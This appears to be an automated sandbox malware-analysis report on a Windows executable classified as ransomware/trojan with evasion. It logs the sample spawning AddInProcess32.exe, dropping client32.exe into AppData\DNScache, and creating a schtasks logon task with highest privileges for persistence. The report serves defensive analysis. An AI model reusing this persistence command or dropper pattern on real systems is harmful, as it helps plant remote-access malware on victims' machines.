Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD4A980	7_2_6CD4A980
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD73DB8	7_2_6CD73DB8
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD74910	7_2_6CD74910
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD73923	7_2_6CD73923
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD4DBA0	7_2_6CD4DBA0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD584F0	7_2_6CD584F0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD74528	7_2_6CD74528
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD41760	7_2_6CD41760
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD6D70F	7_2_6CD6D70F
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD7A063	7_2_6CD7A063
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD74156	7_2_6CD74156
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD643C0	7_2_6CD643C0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CD41310	7_2_6CD41310
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE06E24	7_2_6CE06E24
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE06E28	7_2_6CE06E28
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE66E18	7_2_6CE66E18
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE20919	7_2_6CE20919
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE80915	7_2_6CE80915
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE3EB1A	7_2_6CE3EB1A
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE08468	7_2_6CE08468
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE145AE	7_2_6CE145AE
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE967FF	7_2_6CE967FF
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6CE6E7F1	7_2_6CE6E7F1
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110612D0	9_2_110612D0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1102B1F0	9_2_1102B1F0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1115B090	9_2_1115B090
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11029200	9_2_11029200
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1106F200	9_2_1106F200
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1107F590	9_2_1107F590
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1115F900	9_2_1115F900
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1101B950	9_2_1101B950
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11163B65	9_2_11163B65
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1101BD90	9_2_1101BD90
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110503E0	9_2_110503E0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110724D0	9_2_110724D0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110329A0	9_2_110329A0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11122860	9_2_11122860
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1100887B	9_2_1100887B
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11044B90	9_2_11044B90
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1101CBB0	9_2_1101CBB0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_11086D60	9_2_11086D60

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Process token adjusted: Security

Jump to behavior

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 6CD430A0 appears 54 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 6CE00950 appears 68 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 110B6AB0 appears 41 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 6CD57A90 appears 62 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 1116B6F0 appears 74 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 110274F0 appears 94 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 1116FD13 appears 40 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 1109C970 appears 32 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 1105D480 appears 54 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 110290C0 appears 2088 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 6CD46F50 appears 171 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 11142790 appears 1186 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 6CD57D00 appears 135 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 111606A0 appears 64 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 6CD6F3CB appears 33 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 11080CC0 appears 85 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 6CD57C70 appears 36 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 6CD69480 appears 61 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 1115CAC3 appears 95 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 11143200 appears 46 times
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: String function: 1105D350 appears 564 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: String function: 00407AE0 appears 33 times

Source: mscpx32r.dLL.4.dr	Static PE information: No import functions for PE file found
Source: netmsg.dll.4.dr	Static PE information: No import functions for PE file found
Source: neth.dll.4.dr	Static PE information: No import functions for PE file found

Source: Jjv9ha2GKn.exe, 00000000.00000000.2041444310.0000000000862000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameTableTextCompare.exeB vs Jjv9ha2GKn.exe
Source: Jjv9ha2GKn.exe, 00000000.00000002.2761866053.0000000007570000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameRP8SH.dll6 vs Jjv9ha2GKn.exe
Source: Jjv9ha2GKn.exe, 00000000.00000002.2750654559.000000000089E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Jjv9ha2GKn.exe
Source: Jjv9ha2GKn.exe, 00000000.00000002.2759945326.00000000051E0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTokenTableApp.dll> vs Jjv9ha2GKn.exe
Source: Jjv9ha2GKn.exe	Binary or memory string: OriginalFilenameTableTextCompare.exeB vs Jjv9ha2GKn.exe

Source: Jjv9ha2GKn.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.rans.troj.evad.winEXE@9/27@3/3

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_11059290 GetLastError,FormatMessageA,LocalFree,

7_2_11059290

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1109C580 AdjustTokenPrivileges,CloseHandle,	7_2_1109C580
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1109C4F0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,	7_2_1109C4F0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1109C580 AdjustTokenPrivileges,CloseHandle,	9_2_1109C580
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1109C4F0 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,	9_2_1109C4F0

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_11095A00 GetTickCount,CoInitialize,CLSIDFromProgID,CoCreateInstance,CoUninitialize,

7_2_11095A00

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_110CC3D0 IsWindow,IsWindowVisible,SetForegroundWindow,FindResourceExA,LoadResource,LockResource,DialogBoxIndirectParamA,DialogBoxParamA,

7_2_110CC3D0

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_11124DC0 GetMessageA,Sleep,OpenSCManagerA,DispatchMessageA,OpenServiceA,CloseServiceHandle,StartServiceA,GetLastError,CloseServiceHandle,CloseServiceHandle,GetLastError,CloseServiceHandle,GetLastError,

7_2_11124DC0

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Jjv9ha2GKn.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Mutant created: NULL
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Mutant created: \Sessions\1\BaseNamedObjects\bghe5h5enr5ejm45nt6tv453v43cv45hn45nm
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1536:120:WilError_03

Source: Jjv9ha2GKn.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Jjv9ha2GKn.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Jjv9ha2GKn.exe

ReversingLabs: Detection: 47%

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe

File read: C:\Users\user\Desktop\Jjv9ha2GKn.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Jjv9ha2GKn.exe "C:\Users\user\Desktop\Jjv9ha2GKn.exe"
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "DNScache" /tr "C:\Users\user\AppData\Local\DNScache\client32.exe" /RL HIGHEST
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\AppData\Local\DNScache\client32.exe C:\Users\user\AppData\Local\DNScache\client32.exe
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\DNScache\client32.exe C:\Users\user\AppData\Local\DNScache\client32.exe
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /sc ONLOGON /tn "DNScache" /tr "C:\Users\user\AppData\Local\DNScache\client32.exe" /RL HIGHEST	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\AppData\Local\DNScache\client32.exe C:\Users\user\AppData\Local\DNScache\client32.exe	Jump to behavior

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: dbgcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: pcihooks.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: pciinv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: pcicl32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: pcichek.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: pcicapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: nsmtrace.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: nslsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Section loaded: msasn1.dll	Jump to behavior

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

File written: C:\Users\user\AppData\Local\DNScache\client32.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Jjv9ha2GKn.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

